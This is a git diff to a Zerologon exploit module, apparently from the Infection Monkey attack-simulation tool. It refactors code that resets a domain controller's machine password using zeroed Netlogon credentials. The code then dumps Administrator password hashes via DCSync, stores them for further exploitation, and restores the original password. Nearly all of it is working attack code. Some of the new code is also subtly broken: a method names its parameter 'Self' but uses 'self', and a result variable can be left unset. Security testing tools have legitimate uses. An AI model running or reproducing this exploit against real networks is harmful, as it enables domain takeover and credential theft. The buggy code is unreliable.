diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 03957ea2c..8ee3117d7 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -54,9 +54,8 @@ class ZerologonExploiter(HostExploiter): return # Start exploiting attempts. - # Max attempts = 2000. Expected average number of attempts needed: 256. LOG.debug("Attempting exploit.") - self._send_rpc_login_requests(rpc_con) + _exploited = self._send_exploit_rpc_login_requests(rpc_con) else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") @@ -78,8 +77,8 @@ class ZerologonExploiter(HostExploiter): return True return self.zerologon_finger.get_host_fingerprint(self.host) - def _send_rpc_login_requests(self, rpc_con) -> None: - result_exploit_attempt = None + def _send_exploit_rpc_login_requests(self, rpc_con) -> Optional[bool]: + # Max attempts = 2000. Expected average number of attempts needed: 256. for _ in range(0, self.MAX_ATTEMPTS): try: result_exploit_attempt = self.attempt_exploit(rpc_con) @@ -100,7 +99,7 @@ class ZerologonExploiter(HostExploiter): self.report_login_attempt(result=False, user=self.dc_name) _exploited = False LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.") - break + return _exploited def attempt_exploit(self, rpc_con: object) -> object: request = nrpc.NetrServerPasswordSet2() @@ -124,46 +123,56 @@ class ZerologonExploiter(HostExploiter): def restore_password(self) -> Optional[bool]: LOG.info("Restoring original password...") - LOG.debug("DCSync; getting admin password's hashes.") - admin_pwd_hashes = self.get_admin_pwd_hashes() - try: + # DCSync to get Administrator password's hashes. + LOG.debug("DCSync; getting Administrator password's hashes.") + admin_pwd_hashes = self.get_admin_pwd_hashes() if not admin_pwd_hashes: - raise Exception("Couldn't extract admin password's hashes.") + raise Exception("Couldn't extract Administrator password's hashes.") - LOG.debug("Getting original DC password's nthash.") + # Use Administrator password's NT hash to get original DC password's hashes. + LOG.debug("Getting original DC password's NT hash.") original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes) if not original_pwd_nthash: - raise Exception("Couldn't extract original DC password's nthash.") + raise Exception("Couldn't extract original DC password's NT hash.") - # Keep authenticating until successful. + # Connect to the DC's Netlogon service. + try: + rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) + except Exception as e: + LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + return + + # Start restoration attempts. LOG.debug("Attempting password restoration.") - for _ in range(0, self.MAX_ATTEMPTS): - rpc_con = self.attempt_restoration(original_pwd_nthash) - if rpc_con: - LOG.debug("DC machine account password should be restored to its original value.") - return True + _restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash) + if not _restored: + raise Exception("Failed to restore password! Max attempts exceeded?") - raise Exception("Failed to restore password! Max attempts exceeded?") + return _restored except Exception as e: LOG.error(e) def get_admin_pwd_hashes(self) -> str: - options = OptionsForSecretsdump( - target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" - target_ip=self.dc_ip, - dc_ip=self.dc_ip - ) + try: + options = OptionsForSecretsdump( + target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" + target_ip=self.dc_ip, + dc_ip=self.dc_ip + ) - dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip, - username=f"{self.dc_name}$", - options=options) + dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip, + username=f"{self.dc_name}$", + options=options) - user = 'Administrator' - hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets) - self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) - return ':'.join(hashes) # format - "lmhash:nthash" + user = 'Administrator' + hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets) + self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) + return ':'.join(hashes) # format - "lmhash:nthash" + + except Exception as e: + LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}") def get_dumped_secrets(self, remote_name: str = '', @@ -286,14 +295,24 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") - def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]: - # Connect to the DC's Netlogon service. - try: - rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) - except Exception as e: - LOG.info(f"Exception occurred while connecting to DC: {str(e)}") - return + def _send_restoration_rpc_login_requests(Self, rpc_con, original_pwd_nthash) -> Optional[bool]: + # Max attempts = 2000. Expected average number of attempts needed: 256. + for _ in range(0, self.MAX_ATTEMPTS): + try: + result_restoration_attempt = self.attempt_restoration(rpc_con, original_pwd_nthash) + except nrpc.DCERPCSessionError as e: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") + if result_restoration_attempt: + LOG.debug("DC machine account password should be restored to its original value.") + return True + + def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]: plaintext = b'\x00'*8 ciphertext = b'\x00'*8 flags = 0x212fffff @@ -303,46 +322,35 @@ class ZerologonExploiter(HostExploiter): self.dc_name + '\x00', plaintext) server_challenge = server_challenge_response['ServerChallenge'] + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00', + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + self.dc_name + '\x00', ciphertext, flags + ) + + assert server_auth['ErrorCode'] == 0 + session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, + unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) + try: - server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00', - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - self.dc_name + '\x00', ciphertext, flags - ) + nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse + nrpc.OPNUMS[6] = (NetrServerPasswordSet, + nrpc.NetrServerPasswordSetResponse) - assert server_auth['ErrorCode'] == 0 - session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, - unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) + request = NetrServerPasswordSet() + ZerologonExploiter._set_up_request(request, self.dc_name) + request['PrimaryName'] = NULL + pwd_data = impacket.crypto.SamEncryptNTLMHash( + unhexlify(original_pwd_nthash), session_key) + request["UasNewPassword"] = pwd_data - try: - nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse - nrpc.OPNUMS[6] = (NetrServerPasswordSet, - nrpc.NetrServerPasswordSetResponse) + rpc_con.request(request) - request = NetrServerPasswordSet() - ZerologonExploiter._set_up_request(request, self.dc_name) - request['PrimaryName'] = NULL - pwd_data = impacket.crypto.SamEncryptNTLMHash( - unhexlify(original_pwd_nthash), session_key) - request["UasNewPassword"] = pwd_data - - rpc_con.request(request) - - except Exception as e: - LOG.info(f"Unexpected error: {e}") - - return rpc_con - - except nrpc.DCERPCSessionError as e: - # Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working. - if e.get_error_code() == self.ERROR_CODE_ACCESS_DENIED: - return None - else: - LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") - - except BaseException as e: + except Exception as e: LOG.info(f"Unexpected error: {e}") + return rpc_con + class NetrServerPasswordSet(nrpc.NDRCALL): opnum = 6